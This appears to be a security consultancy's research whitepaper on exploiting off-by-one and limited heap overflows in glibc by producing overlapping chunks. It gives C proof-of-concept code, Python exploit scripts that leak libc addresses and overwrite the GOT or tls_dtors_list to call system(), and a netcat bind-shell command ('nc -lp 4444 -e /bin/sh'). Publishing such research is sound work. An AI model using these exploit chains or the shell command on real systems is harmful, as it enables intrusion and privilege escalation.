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1 Abstract 

This technical whitepaper showcases the exploitation of heap overflows in Linux 

systems, often considered hard or impossible to exploit with current state-of-the-art 

mitigation technologies in place. Recent work from Google Project Zero [1] 

demonstrates that corrupting heap structures with a single NUL byte can still lead to 

local arbitrary code execution on 32-bit binaries. This paper presents several 

techniques that can be used to exploit limited heap overflows in the general case, i.e. 

independently from the architecture and mitigation techniques in use, by forcing the 

allocator to produce overlapping chunks in applications where the user can predict and 

control the shape of heap areas. We apply this technique to a seemingly unexploitable 

heap overflow found in commercial software and demonstrate that for the right 

applications, exploits bypassing all modern mitigation techniques such as ASLR, PIE or 

full RELRO can be constructed.  
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2 Introduction 

For 15 years, heap exploitation has gone through a relentless cycle of the disclosure of 

technical exploitation techniques and consequent hardening of malloc() in response. 

Notable examples include: the old-school unlink() exploit [2]; the Malloc Maleficarum 

[3] revisited in 2009 [4]; and Google Project Zero's large chunks unlink, where libc fails 

to  compile assert() statements in [1]. Inevitably, most of the techniques described in 

these papers are now obsolete, have been subsequently patched, or have been 

rendered unexploitable through the addition of mitigation technologies such as 

Address Space Layout Randomisation (ASLR) and No eXecute (NX). 

Nowadays, exploiting heap structures is heavily dependent on the target application, 

and in most scenarios the goal is to overwrite pointers or indexes that can eventually 

provide program counter (PC) control or an arbitrary overwrite. In this paper, however, 

we target a more specific scenario, where the heap overflow cannot immediately reach 

interesting data. We present how heap structures can be abused to produce 

overlapping chunks. The exploitation process is then comparable to use-after-free 

vulnerabilities. 

We demonstrate this scenario in both a real-world example and a proof-of-concept 

program prone to overflows in heap areas where the attacker can predict and further 

manage chunk allocation. This happens in programs that make an extensive use of 

malloc() and free() with user-controlled chunks, namely protocol handlers, parsers, 

editors or, more generally, applications maintaining algorithmic structures of said 

user-supplied data. 
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3 Abusing Heap Structures 

In this section, we demonstrate how glibc’s heap structure can be manipulated to 

obtain overlapping chunks when an overflow happens. We then apply one of these 

techniques to a real-world memory corruption recently found by Context. 

3.1 Glibc’s Heap Structure Overview 

Before going into more details, here is a quick reminder of the general mechanics used 

by glibc’s malloc(). A malloc chunk is represented by the following structure (defined 

in malloc/malloc.c): 

struct malloc_chunk { 

  INTERNAL_SIZE_T prev_size;  /* Size of previous chunk (if free).  */ 

  INTERNAL_SIZE_T size;       /* Size in bytes, including overhead. */ 

 

  struct malloc_chunk* fd;    /* double links -- used only if free. */ 

  struct malloc_chunk* bk; 

 

  /* Only used for large blocks: pointer to next larger size.  */ 

  struct malloc_chunk* fd_nextsize; 

  struct malloc_chunk* bk_nextsize; 

}; 

 

The actual address returned by a call to malloc() points to the "fd" field. Before this 

address resides the “size” of a chunk. This size is aligned to the architecture long size 

and also includes some properties in its two LSBs (for instance whether the previous 

chunk is free or not). The two last pointers are only used for free large chunks which 

will not be discussed in this paper.  

When a chunk is freed, it is merged with the previous and following chunks if those 

are already free (this is what the prev_size field is for). A free chunk contains pointers 

to a doubly-linked list of free chunks (the “fd” and “bk” fields), and its size at the very 

end of the chunk (“prev_size” of the next chunk). 

For optimisation purposes, the fastbins, small chunks up to 10 times the word size by 

default, do not follow the same rules: they are not merged with other chunks once 

freed and not integrated in the main freelist, meaning that they effectively fragment 

the heap. Their “fd” and “bk” fields are therefore unused, but glibc still maintains a 

separate fastbin freelist to minimise segmentation (new fastbins are reallocated from 

this list where possible). 

Allocation can be seen as a “first-fit” algorithm, using one of those two freelists. This 

means that an allocation will generally happen in the last freed chunk large enough to 

satisfy the request. 

This basic understanding of allocation and freeing mechanics should be sufficient to 

understand the following scenarios. 
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3.2 Producing Overlapping Chunks 

In this paper, we demonstrate that overflows in the heap can often be used to produce 

overlapping chunks. Being able to produce such chunks may lead to the overwriting of 

sensitive data (pointers, memory indexes, etc.) without prior knowledge of heap 

addresses. This is particularly useful in cases where a simple overflow does not 

immediately yield interesting results, as in off-by-one errors or if interesting data is 

allocated later in the program. 

To achieve this, it is necessary to craft the “size” field of the chunk immediately 

following the location where the overflow happens, so that the subsequent allocation 

sequence of malloc() and free() calls induce an overlap. 

3.2.1 Extending Free Chunks 

As it is markedly easier to allocate from corrupted free chunks than to free corrupted 

allocated chunks, the easiest way to obtain an overlapping allocation is to extend the 

size of a free chunk so that it then contains 1 or more subsequent chunks. A 

subsequent allocation would naturally overlap these chunks. 

This can be verified with the simple program below (64-bit architecture): 

void main() { 

  char * A, * B, * C; 

   

  A = malloc(0x100 - 8); // This is where the overflow happens 

  B = malloc(0x100 - 8); // Free chunk being extended 

  C = malloc(0x80 - 8);  // Chunk being overlapped 

  printf("C chunk: %p -> %p\n", C, C + 0x80 - 8); 

   

  free(B); // Freeing B 

  /* Overflow into A 

   * The old chunk B's size becomes 0x181 instead of 0x101 

   */ 

  A[0x100 - 8] = 0x81; 

   

  B = malloc(0x100 + 0x80 - 8); // Allocation of old B size + C size 

  printf("New B chunk: %p -> %p\n", B, B + 0x100 + 0x80 - 8);  

} 

The following diagram summarizes the heap shape after the different operations 

requested by this program: 

A B C

0x100 0x100 0x80

A B C

A B C

Overflow: size(B) = 0x180

Vulnerable chunk

Allocated chunk

Free chunk

Overlapped chunk

Initial state

B is freed

Overflow into B

A B C
Allocation larger than B’s initial size
C is overlapped
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Sample run: 

$ ./extend_free_overlap 

C chunk: 0x2036210 -> 0x2036288 

New B chunk: 0x2036110 -> 0x2036288 

This scenario relies on the fact that malloc() does not check whether a free chunk is 

consistent or not with the “prev_size” field of the next chunk. 

3.2.2 Extending Allocated Chunks 

The very same technique remains valid where the B chunk is freed after the overflow, 

as shown by the following diagram: 

A B C

0x100 0x100 0x80

A B C

Overflow: size(B) = 0x180

Initial state

B is free

Overflow into B

A B C
Allocation larger than B’s initial size
C is overlapped

A B C

 

 

Sample run: 

$ ./extend_alloc_overlap 

C chunk: 0xd66210 -> 0xd66288 

New B chunk: 0xd66110 -> 0xd66288 

While this looks very similar to the previous scenario, this particular technique relies 

on the fact that the free() operation cannot possibly know whether the chunk being 

freed should be larger or smaller, as its “size” field is the only location where this 

information is stored.  

3.2.3 Shrinking Free Chunks 

Another technique, which is more difficult to exploit, aims to shrink the size of free 

chunks. Subsequent allocations within this free chunk do not correctly update the 

"prev_size" field of the original next chunk. If this next chunk is freed, a merge with 

the original free chunk will be attempted. Any chunks allocated in between are 

“forgotten” and can be overlapped with another allocation.  
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The following diagram provides a more in-depth overview of what happens in such a 

scenario: 

 

 

For further information, refer to the original proof-of-concept by Tavis Ormandy, 

shrink_free_hole_alloc_overlap_consolidate_backward.c. 

This technique works because free() does not check whether the “prev_size” field of a 

chunk is coherent with the “size” field of the previous chunk when coalescing 

backwards.  

While this sequence of heap operations can be hard to obtain from a real service, it 

can be triggered through a single NUL byte off-by-one (string operations gone wrong 

or buffer allocations not accounting for the terminating NUL byte). 

3.3 Real World Example 

As such scenarios may be seen as theoretical and hard to reproduce in practice, we 

applied this technique on a heap overflow recently discovered by Context in real world 

software. This allows turning a seemingly harmless overflow into an arbitrary NUL byte 

overwrite. 

3.3.1 Simplified Vulnerable Code 

The vulnerable code targeted is a Linux x86 library used by a SUID root application. As 

this software is proprietary and hasn’t been fixed at the time of publishing, we 

reproduced a simplified version of the binary, retaining the same general heap 

https://code.google.com/p/google-security-research/issues/detail?id=96
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behaviour but stripped of its functionality. The full code is available in Appendix 8.1.1 

Simplified Vulnerable Code. 

The program reads a file sequentially, 1024 bytes at a time, and feeds these chunks to 

the parse() function. This function expects its input to contain comma-separated 

blocks, which are copied into a malloc()’d buffer of an appropriate size. Each of these 

buffers are then passed to the replace_env_vars() function; this function takes care of 

replacing environment variables by their values (if any) after having reallocated the 

buffer. 

The first vulnerability occurs at line 83 within the parse() function: the first two blocks 

are copied into fixed-size stack buffers of length PATH_MAX (0x1000 bytes) after the 

environment variable substitution: 

void parse(char * data) { 

 int block_id = 1, count; 

 char * block_start = data; 

 char block1[PATH_MAX]; 

 char block2[PATH_MAX]; 

 […] 

  

 memset(block1, 0, sizeof(block1)); 

 memset(block2, 0, sizeof(block2)); 

  

 while (*data) { 

    if (*data == ',') { 

  count = data - block_start; 

  if (count > 0xfff) 

   count = 0xfff; 

    

  b = block1; 

  switch (block_id) { 

   case 2: 

   b = block2; 

   case 1: 

   strncpy(b, block_start, count); 

   b[count] = 0; 

      

   tmp = strdup(b); 

   tmp = replace_env_vars(tmp); 

   sprintf(b, "%s", tmp); // stack overflow 

      

   free(tmp); 

   break; 

      

   […] 

  } 

  block_start = data + 1; 

  block_id++; 

    } 

    *data++; 

 } 

 […] 

} 
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This vulnerability is, however, not exploitable by itself if the application is compiled 

with a stack canary, but induces a heap overflow later in the code, where this stack 

buffer is copied into a fixed-size malloc()’d buffer at line 123 (note that once compiled, 

block 2 (“block2”) follows block 1 (“block1”) at the bottom of the stack frame): 

 relative_path = malloc(PATH_MAX); 

 strcpy(relative_path, block1); // heap overflow 

This straightforward overflow does not seem exploitable, as it cannot directly 

overwrite interesting data. The only operation that would be worth corrupting happens 

at line 112, where the heap pointer slist_head->str is dereferenced to write a NUL byte: 

 tmp = malloc(count + 1); 

 slist_entry->str = tmp; 

 memset(tmp, 0, count + 1); 

 strncpy(tmp, block_start, count);  

 slist_entry->str[count] = 0; 

3.3.2 Arbitrary NUL Byte Write 

While the previous example does not have the most exciting exploitation perspective, 

its heap usage is really interesting from our perspective: the function replace_en_vars 

allows us to allocate chunks of arbitrary length from environment variables, and  

blocks 3 and above in the file also allow arbitrary allocation of chunks, but for more 

respectable sizes as each block set cannot exceed 1024 bytes. 

The allocation scheme is however, reasonably complex. Quite a few allocations are not 

controlled and every chunk is freed at the end of the parse() function, meaning that if 

we are to chain calls to this function, it is important to ensure that the heap state 

remains correct for free() operations. 

As highlighted in the previous section, the target for this exploit is the dereference 

line 112, as it is the only pointer dereferenced for a heap operation found in that part 

of the program. However, slist_entry itself is allocated just before the snippet above. 

This means that to control slist_entry->str at the time of the dereference, a sequence 

of heap operations akin to the following need to occur: 

C

0x100x1000
> 0x 40
< 0x400

A B

CA B

CA B

CA B

CA B

Initial state

B and C are free

Overflow into B

slist_entry (C) is allocated

tmp (B) is allocated with a size larger than B’s original chunk
slist_entry (C) is overlapped

Overflow: size(B) += size(C)
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Of course, in the actual program, this exact sequence cannot happen in one go. The 

overflow happens towards the end of parse() and the targeted slist_entry needs to be 

at least the 4
th

 block of another call to parse() happening afterwards. As a result, every 

chunk has to be freed in between. While this scenario may be hard to overcome, the 

nature of fastbins, i.e. the fact that they are not merged, allows us to shape the heap 

beforehand to ensure that future heap operations will eventually end up providing the 

desired heap shape. 

We were able to obtain the desired behaviour by chaining 3 calls to parse(): the first 

shapes the heap to creates fastbin areas; the second triggers the overflow; and the 

third call is where the overlap happens. As the actual exploit takes advantage of 

allocation and merges that are not worth explaining here, a high level overview of the 

effect of each call on the heap shape is provided. 

1. The first call has the responsibility to segment the heap: 

#!/usr/bin/python 

 

import struct 

import sys 

 

input_file = open("./payload", "w") 

env_vars = open("./env_vars.sh", "w") 

print >> env_vars, "#!/bin/sh" 

 

def add_env_var(var_name, var_value): 

 print >> env_vars, "export %s=%s"%(var_name, var_value.replace('$', 

'\$')) 

 

def add_input_line(l): 

 l = ",".join(l) + "," 

 assert(len(l) <= 1023) 

 input_file.write(l.ljust(1023)) 

 

add_env_var("XF80","X"*0xf80)  

first_loop = ["", "", "$XF80"] 

first_loop.extend(["B4"]*20) 

add_input_line(first_loop) 

The objective of the first line is simply to segment the heap so that fastbins are 

present at the beginning, the middle and the end of the heap before the free() calls: 

Fastbins
area

Fastbins
area

0xf80 0x1000 0x1000

......

0x10
(out)

 

As fastbins tend to be reallocated in the reverse order of their freeing, this allows us to 

ensure that fastbins can follow a large chunk in the second call as early fastbin 

allocation will happen towards the end of the heap. 

 

2. The second call crafts the heap for the overflow to happen before a fastbin area: 
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add_env_var("X1000","1"*0x1000)  

add_env_var("V1100", "$" + "X"*0x1100)  

add_env_var("X"*0x1100, "A")  

second_loop = [ "$X1000", "1234%s"%(struct.pack("<H", 0x161)), 

"$V1100" ] 

second_loop.extend(["B3"]*5)  

add_input_line(second_loop) 

This second line of this is trickier, as it is where we craft specific allocations so that 

the large vulnerable chunk allocated at the end resides in a “hole” at the middle of the 

heap but not far off a fastbin area: 

... ...

...

0x1100 0x140
Fastbins

area

$V1100 has replaced 
by "$" + "X"*0x1100

... Which is in turn replaced

After allocations
happened

Overflow

0x1000 0x1000

 

Then, the overflow from the stack buffers “block1” and “block2” happens and the size 

of the free chunk before the fastbin area is extended to overlap a couple of those 

fastbins. Because the overflowed chunk is already free and as fastbins are not merged, 

no error occurs during the final free() sequence. 

3. The last call takes it all: 

third_loop = ["A"]*6 

third_loop.extend(["A"*0x130 + "%s"%(struct.pack("<I", 0xdeadbeef - 

0x134))]) 

add_input_line(third_loop) 

input_file.close() 

env_vars.close() 

Most of the work is already done at this stage. The last call simply creates enough 

fastbins to reach the point where the next fastbin would be allocated in the overlapped 

area. The chunk that was altered is the best fit for a subsequent allocation that does 

not exceed the arbitrary size defined during the overflow: 

$ ./sploit.py && . env_vars.sh && gdb –q ./vuln 

(gdb) r payload 

 

Program received signal SIGSEGV, Segmentation fault. 

0x0804c08 in parse () 

(gdb) x/i $eip 

=> 0x804c08 <parse+762>:   movb $0x0,($eax) 

(gdb) i r $eax 

eax       0xdeadbeef      -559038737  
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On the original SUID root application using this library, a single NUL byte overwrite 

could lead to privilege escalation by corrupting the saved base pointer (stack 

addresses are bruteforceable on local x86 binaries) or by tampering with pointers to 

configuration filenames residing in the BSS segment (at a fixed address). However, the 

main point of this example is that abusing the heap to produce overlapping chunks 

from seemingly unexploitable overflows is possible, even in real world software with a 

more complex and realistic heap behaviour. The strength of this technique lies in the 

fact that it can target a set of instructions happening significantly after the overflow 

itself, and that it is possible to enforce incorrect heap states that survive a full free(). 
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4 Proof-of-Concept End-to-End Exploitation 

This section showcases the exploitation potential of heap overflows by themselves, in 

applications where an initial overlap can lead to the control of pointers used for read 

and write operations. 

4.1 Vulnerable Code Overview 

The proof-of-concept program (full code available in Section 8.2.1 Vulnerable Code) 

performs a simple packet reassembly task and is designed to work as an inetd service. 

Packets are read from the standard input and expected to present the following 10 

byte header: 

| id | packet size | data offset | data size | 

 

The id field is a 4 byte integer and other fields are 2 byte short integers. 

When receiving a packet with a previously unknown id a "struct packet" structure is 

allocated to track the amount of data received so far for each packet, and a "data" 

buffer is allocated with the size provided in the "packet size" field. For each fragment 

received for a particular packet id, the payload (following the header) is copied into the 

"data" buffer at the offset "data offset" provided in the packet header. A packet is 

"sent" (printed to the standard output and freed) once it has been completed. Note 

that an actual implementation would have to add more functional checks (protocol, id 

0, failed allocations, timeouts, etc.) that have been disregarded here for the sake of 

clarity. 

The introduced vulnerability lies in the get_data function, responsible for the copy of a 

fragment's payload into the "data" buffer: 

void get_data(struct packet* p, unsigned short offset, unsigned short 

size) { 

 char c; 

  

 size += offset; 

  

 if (offset >= p->size) return; 

   

 while (offset < size) { 

  if (read(0, &c, 1) != 1) break; 

  p->data[offset] = c; 

  p->received++; 

   

  if (offset++ > p->size) break; // off-by-one here 

 } 

} 

The function works in the general case but has an off-by-one error if the fragment size 

(local variable "size") is larger than the actual packet size (p->size). 
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As seen in the previous sections, a successful exploitation relies on a precise 

knowledge and enforcement of the heap shape. Therefore, one needs to be able to 

create sequences of legitimate inputs that result in predictable heap behaviour. For 

this short program, this can be trivially achieved with the following Python functions: 

packets = {} 

 

def send_frag(i, psz, offs, s): 

 sock.sendall(pack("<I", i) + pack("<H", psz) + pack("<H", offs) 

+ pack("<H", len(s)) + s) 

 

def send_incomplete(i, sz, rem=1): 

 send_frag(i, sz, 0, chr(i)*(sz-rem)) 

 packets[i] = rem 

  

def complete_packet(i, s=""): 

 rem = packets[i] if packets.has_key(i) else 1 

 s = s.ljust(rem, chr(i)) 

 send_frag(i, rem, 0, s[:rem]) 

 del packets[i] 

The send_incomplete function sends an incomplete packet, short of "rem" bytes. This 

is equivalent to a double malloc() primitive for packets with a non-existing id: a first 

malloc() of 0x18 bytes (minimum chunk length) for the "struct packet" allocation, and 

a second one of the arbitrary length defined in the packet header for the "data" buffer. 

The complete_packet function sends a fragment that completes a previously issued 

packet, effectively resulting in free() calls for the two associated chunks. 

4.2 Chunks Overlap 

In the remainder of this paper, we consider this proof-of-concept program compiled 

for x64 with standard hardening compilation flags: 

gcc -O2 -fPIE -pie -D_FORTIFY_SOURCE=2 -fstack-protector net.c -o net 

To apply the technique discussed throughout this paper, a target chunk to overlap 

must be determined first. Here, this chunk would have to be a "struct packet" chunk as 

it contains pointers that are dereferenced during normal operations. The above heap 

operations sequence can be reproduced with the heap primitives we have for this 

application: 

send_incomplete(1, 0x68) # placeholder for 20's "struct packet" 

send_incomplete(10, 0x100 - 8, 3) # chunk off-by-one'd 

complete_packet(1)   # free placeholder 

 

# this packet's "data" buffer is allocated 

# just after packet 10's own "data" buffer 

send_incomplete(20, 0x300 - 8)  

send_incomplete(30, 0x20 - 8)  # target chunk 

 

complete_packet(20)   # free packet 20's chunks 

 

# overflow to extend the chunk's size of 

# packet 20's first chunk by 0x60 bytes 

send_frag(10, 0, 0x100 - 9, "A\x60") 
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# create a new, larger buffer that 

# should overlap with packet 30's first chunk  

send_frag(20, 0x320 - 8, 0, "B")  

The placeholder packet is used to avoid packet 20’s “struct packet” chunk being in 

between packet 10 and packet 20’s “data” buffers. This sequence of operations 

produces an overlapping chunk by extending the first packet 20’s “data” chunk once 

freed, as presented in the following diagram and sample malloc()/free() trace: 

P P data 10 10 data

20 20 data 30

20 20 data

Placeholder and packet 10 
are allocated

Placeholder is free

Packets 20 and 30
are allocated

Packet 20 is free

Overflow into old 
packet 20 data

New (larger) packet 20 allocated
Packet 30's struct is overlapped

30
data

Overflow: size(old 20 data) += size(30)

struct packet packet data

New allocation

 

 

malloc(16)           = 0x7fad50d8b010 // placeholder 

malloc(104)          = 0x7fad50d8b030 // placeholder data 

malloc(16)           = 0x7fad50d8b0a0 // packet 10 

malloc(248)          = 0x7fad50d8b0c0 

free(0x7fad50d8b030) = <void>   // free packet 1 

free(0x7fad50d8b010) = <void> 

malloc(16)           = 0x7fad50d8b010 // packet 20 

malloc(760)          = 0x7fad50d8b1c0 

malloc(16)   = 0x7fad50d8b4c0     // packet 30; chunk -> 

0x7fad50d8b4d8 

malloc(24)           = 0x7fad50d8b4e0 

free(0x7fad50d8b1c0) = <void>  // free packet 20 

free(0x7fad50d8b010) = <void> 

malloc(16)           = 0x7fad50d8b010 // new (bigger) packet 20 

malloc(792)          = 0x7fad50d8b1c0  // chunk -> 0x7fad50d8b4d8 

The last chunk returned by malloc() indeed overlaps another chunk previously 

allocated at address 0x7fad50d8b4c0. 
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4.3 Obtaining a Memory Leak 

4.3.1 Glibc’s Unsorted Chunks Freelist 

Being able to overwrite memory often provides useful exploitation vectors, i.e. 

overwriting a function pointer or memory offset. In some cases however, for example, 

x64 PIE, we still lack a reliable address from the executable or libraries to turn this into 

an actual exploit. However, glibc's heap structures themselves provide an often 

disregarded leak vector in the form of the unsorted chunks list. 

Here are the relevant parts from glibc's malloc.c: 

#define bin_at(m, i) \ 

  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))   \ 

             - offsetof (struct malloc_chunk, fd)) 

              

#define unsorted_chunks(M)          (bin_at (M, 1)) 

 

static void 

_int_free (mstate av, mchunkptr p, int have_lock) 

{ 

  [...] 

  if (nextchunk != av->top) { 

    [...] 

    /* 

      Place the chunk in unsorted chunk list. Chunks are 

      not placed into regular bins until after they have 

      been given one chance to be used in malloc. 

    */ 

    bck = unsorted_chunks(av); 

    fwd = bck->fd; 

 

    p->fd = fwd; 

    p->bk = bck; 

 

    bck->fd = p; 

    fwd->bk = p; 

  } 

} 

When a chunk is freed, its "fd" and "bk" fields (first two longs pointed to by the 

address returned by malloc()) are set to pointers relative to &av->bins[0]. The default 

arena (av) in which the chunks reside is actually a statically allocated structure residing 

in glibc's BSS. This can be easily checked by this simple program: 

void main() { 

 long * a, * b; 

 

 a = malloc(0x100); 

 b = malloc(1); 

 

 free(a); 

 

 printf("%p\n", *a); 

} 
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GDB can be used to verify that the address is within the libc’s BSS at runtime: 

$ gdb -q ./arena_leak 

(gdb) b *main+74 

Breakpoint 1 at 0x4005e0 

(gdb) r 

0x7ffff7dd6678 

 

Breakpoint 1, 0x00000000004005e0 in main () 

(gdb) x/xg 0x7ffff7dd6678 

0x7ffff7dd6678 <main_arena+88>: 0x0000000000601130 

(gdb) shel cat /proc/15823/maps 

[…] 

7ffff7dd6000-7ffff7dd8000 rw-p […]/lib/x86_64-linux-gnu/libc-2.19.so 

Note that this only happens in non-fastbin chunks, however, this means that it is 

possible to get a free libc address in an application where we can force a memory 

disclosure that includes previously freed non-fastbins chunks. This scenario is of 

course very likely when we can overlap interesting chunks containing pointers or 

memory offsets. 

4.3.2 Applicability to the Proof-of-Concept Program 

The leak in our application may happen when the packet is "sent", as its content is 

printed to stdout. As we can overwrite the content of an arbitrary "struct packet", we 

can specify an overlong size to leak a portion of the heap were a non-fastbin chunk is 

inserted and freed beforehand. Note that in this example, the data pointer in the 

"struct packet" struct is after the size. If the pointer was before, we could still 

overwrite its LSB and shape the heap to place free chunks nearby; a tiny 16 

possibilities brute-force could be used in situations where alignment is non-

predictable. 

Here is the exploit from Section 4.2 Chunks Overlap, adjusted to produce a memory 

leak containing a libc address: 

send_incomplete(1, 0x68) 

send_incomplete(10, 0x100 - 8, 3) 

complete_packet(1) 

 

send_incomplete(20, 0x300 - 8) # chunk where the overflow happens 

send_incomplete(30, 0x20 - 8)  # target 

 

# add and free a non-fastbin chunk 

# to place an arena address after chunk 30's data 

send_incomplete(50, 0x100 - 8)   

send_incomplete(60, 0x20 - 8)    # the non-fastbin chunk cannot be 

last 

complete_packet(50) 

 

complete_packet(20) 

 

# old chunk 20 now includes chunk 30's "struct packet" chunk 

send_frag(10, 0, 0x100 - 9, "A\x20") 

  

# Now we overwrite packet 30's "struct packet" chunk 

# (starting from the end of old chunk 20's data): 
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# - first rewrite a valid chunk header (|1 = PREV_INUSE) 

# - then specify an arbitrary packet id (0x1337) 

# - packet's size set to 0x50 with one byte to go 

send_frag(20, 0x2f8 + 2*8, 0x2f8, pack("<Q", 0x20|1) + pack("<I", 

0x1337) + pack("<H", 0x50) + pack("<H", 0x50-1) ) 

 

# Complete that packet 

# Outputs (0x50 bytes): 

#  0x18 bytes (original packet 30's data) 

#  + 0x20 bytes (original packet 50 "struct packet" chunk) 

#  + 8 bytes (chunk header of packet 50 data) 

#  + arena pointer 

send_frag(0x1337, 0, 0, "B") 

 

# This address resides in the first page of libc's BSS 

libc_bss = unpack("<Q", readall()[-9:-1])[0] & ~0xfff 

print hex(libc_bss) 

raw_input() # Keep the service alive to check address 

As described previously, chunk 50 was added and freed so that an arena address 

exists after the overwritten packet's data. As the application memsets allocated buffers 

to 0, we need to recreate a valid malloc header for the overwritten "struct packet" 

chunk, as it is freed immediately after the leak. 

A sample execution indeed outputs libc's BSS: 

$ ./extend_overlap_v2.py & 

0x7fec43fe0000 

$ cat /proc/16366/maps 

[...] 

7fec43fe0000-7fec43fe2000 rw-p 001a3000 08:01 2491477                    

/lib/x86_64-linux-gnu/libc-2.19.so 

[...] 

This is, of course, also possible using the shrinking technique described in Section 

3.2.3 Shrinking Free Chunks, but is not detailed in this paper for readability purposes. 

A full exploit for this method is available in Appendix 8.2.2 GOT Overwrite. 

4.4 Classic GOT Overwrite 

At this stage, the exploit is able to take advantage of a one byte overflow in the heap 

to leak a known libc address. This is sufficient for most applications to produce a 

working exploit bypassing ASLR and PIE using a classic Global Offset Table (GOT) 

overwrite. Linux randomises the executable and libraries base together by default, 

therefore, knowing a libc address directly allows us to deduce our program's GOT 

addresses. 

To exploit this, we can shape the heap so that the initial overlap contains two packets: 

the second one will be used for the leak and freed; the first packet's data pointer can 

then be replaced by free()'s GOT entry; finally we can replace free()'s GOT entry with 

the address of system() and execute the payload of any packet subsequently freed. 
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CMD = "id" 

 

send_incomplete(1, 0x68) 

send_incomplete(10, 0x100 - 8, 3) 

complete_packet(1) 

 

send_incomplete(20, 0x300 - 8) 

send_incomplete(30, 0x20 - 8) 

send_incomplete(40, 0x20 - 8) 

send_incomplete(50, 0x100 - 8) 

send_incomplete(60, 0x20 - 8) 

 

complete_packet(50) 

complete_packet(20) 

 

send_frag(10, 0, 0x100 - 9, "A\x60") 

send_frag(20, 0x348, 0x338, pack("<Q", 0x20|1) + pack("<I", 0x1337) + 

pack("<H", 0x50) + pack("<H", 0x50-1) ) 

 

send_frag(0x1337, 0, 0, "B") 

 

libc_bss = unpack("<Q", readall()[-9:-1])[0] & ~0xfff 

libc_base = libc_bss - bss_offset 

libc_system = libc_base + system_offset 

text = libc_base + libc_to_text 

free_got = text + free_got_offset 

print hex(libc_bss) 

 

send_frag(20, 0, 0x2f8, pack("<Q", 0x20|1) + pack("<I", 0x1337) + 

pack("<H", 9) + pack("<H", 0) + pack("<Q", free_got)) 

# Uses overwritten chunk C to write libc's system at free_got 

send_frag(0x1337, 0, 0, pack("<Q", libc_system)) 

readall() 

 

send_frag(ord('#'), len(CMD)+1, 0, CMD + "\x00") # system(CMD) 

This supposes some knowledge of the remote system's characteristics, which can be 

obtained via fingerprinting, cross-validation of pointers leaks or even live reparsing of 

the remote libc through multiple executions (remember that obtaining a leak did not 

require any knowledge about the application in terms of addresses). In this simple 

example, we use hardcoded values, and one probably needs to adjust the following 

definitions to reproduce the proof of concept: 

bss_offset = 0x3a3000  # libc offset 

system_offset = 0x414f0  # libc offset 

libc_to_text = 0x5cc000  # libc to text 

free_got_offset = 0x2012f0 # executable offset 

Sample exploitation output: 

$ ./forgotten_extend.py  

0x7feb3c2e5000 

 

[23] id 

uid=1000(poc) gid=1000(poc) groups=1000(poc) 
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4.5 Considering PaX RANDMMAP and Full RELRO 

In the previous section it was assumed that the executable and the libc are a fixed 

offset apart. This is not always true, particularly in kernels using the grsecurity patch, 

where the PaX RANDMMAP feature introduces more randomness in memory mapping 

primitives. In other applications where the leak can be obtained through a buffer that 

does not have to be a valid malloc()ed chunk, it is possible to deduce the executable's 

base from ld-linux's data segment: this segment is still at a fixed offset from the libc 

base and contains the executable’s base as well as its entry point. Even then, reusing 

the same technique would not be possible on applications compiled with full RELRO 

support. 

However, both problems can be tackled by overwriting various libc function pointers 

that can be triggered by the program. One of the usual suspects is the tls_dtors_list 

(see __call_tls_dtors in stdlib/cxa_thread_atexit_impl.c). This list has the advantage of 

containing both function pointers and an argument, and its pointers aren't mangled. 

Here is an updated version of the end of the previous exploit overwriting the 

tls_dtors_list, rather than a GOT address: 

STAGE1 = "nc -lp 4444 -e /bin/sh" 

STAGE2 = "id" 

 

bss_offset = 0x3a3000 

system_offset = 0x414f0 

tls_dtors_offset = 0x59f6c0 

 

libc_bss = unpack("<Q", readall()[-9:-1])[0] & ~0xfff 

libc_base = libc_bss - bss_offset 

libc_system = libc_base + system_offset 

libc_tls_dtors = libc_base + tls_dtors_offset 

print hex(libc_bss) 

 

payload = pack("<Q", libc_tls_dtors + 8) + pack("<Q", libc_system) + 

pack("<Q", libc_tls_dtors + 0x18) + STAGE1 + "\x00" 

 

send_frag(20, 0, 0x338, pack("<Q", 0x20|1) + pack("<I", 0x1337) + 

pack("<H", 0x100) + pack("<H", 0x100 - len(payload) -1) + pack("<Q", 

libc_tls_dtors)) 

 

send_frag(0x1337, 0, 0, payload) 

sock.close() 

 

time.sleep(0.5) 

 

sock = socket.socket() 

sock.connect((HOST, 4444)) 

sock.sendall(STAGE2 + "\n") 

print readall() 

Once again, verifying with one sample execution: 

$ ./forgotten_extend_tls_dtors.py  

0x7f8ceaf0a000 

uid=1000(poc) gid=1000(poc) groups=1000(poc) 
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And this is it. With one single byte off-by-one in the heap, we are able to execute 

arbitrary commands bypassing NX, ASLR, PIE and Full RELRO for this proof-of-concept 

application compiled for x64, with the only prerequisite being to know library 

characteristics of the remote system. This can even be leveraged without prior 

knowledge of the remote system via live parsing of the remote libc through multiple 

executions. This is achievable where it is possible to obtain 2 distinct leaks (one from 

a fixed library offset and the other arbitrary) during one single execution, as is the 

case in this example. 
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5 Conclusions 

With the constant stream of hardening patches aimed at the glibc, pure heap bugs 

have often been deemed unexploitable. However, recent exploits such as Google 

Project Zero’s NUL byte off-by-one in gconv_translit_find [1], or even challenges 

recently seen in CTFs [6] tend to show that application-specific exploitations are still 

feasible. 

This whitepaper aims at confirming that heap overflows are not dead (yet). Classic 

techniques are not as usable nowadays, but it is still possible with a minimal overflow 

to confuse heap structures and create overlapping chunks in a number of heap-

intensive applications. Where this allows overwriting pointers or offsets further used 

for read and write operations, exploits bypassing all modern mitigation techniques on 

Linux could be constructed. 

This implies that heap bugs should still be considered as serious bugs, even if the 

exploitation path does not immediately come to mind. Now that the days of scarce 

memory are gone for most systems, alternative mitigation techniques such as 

allocating a spare long word at the end of each malloc()'ed chunk and introducing 

unpredictability or unmapped gaps in the heap would be worth examining. 
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6 About Context 

Context is an independently operated cyber security consultancy, founded in 1998 and 

specialises in providing highly skilled technical consultants to support organisations 

with their ever-evolving information security challenges. We work with some of the 

world’s highest profile blue chip companies and government organisations. 

Our comprehensive service portfolio incorporates penetration testing and security 

assurance services, incident response, forensic investigations, and technical security 

research projects. In the UK, we are certified by CESG and CPNI for the Cyber Incident 

Response scheme to assist organisations respond effectively to sophisticated cyber-

attacks. We are a founder member of CREST and its associated standards, and 

continue to hold leadership positions within CREST in the UK and Australia.  We are 

also a ‘Green Light’ CESG (CHECK) service provider. Context is actively involved with 

the UK Security Researchers Information Exchange (SRIE), and we are particularly active 

within the Open Web Application Security Project (OWASP) and regularly present the 

results of our research at international industry events and closed forums. 

With offices in the UK, Germany and Australia, we are well placed to work with clients 

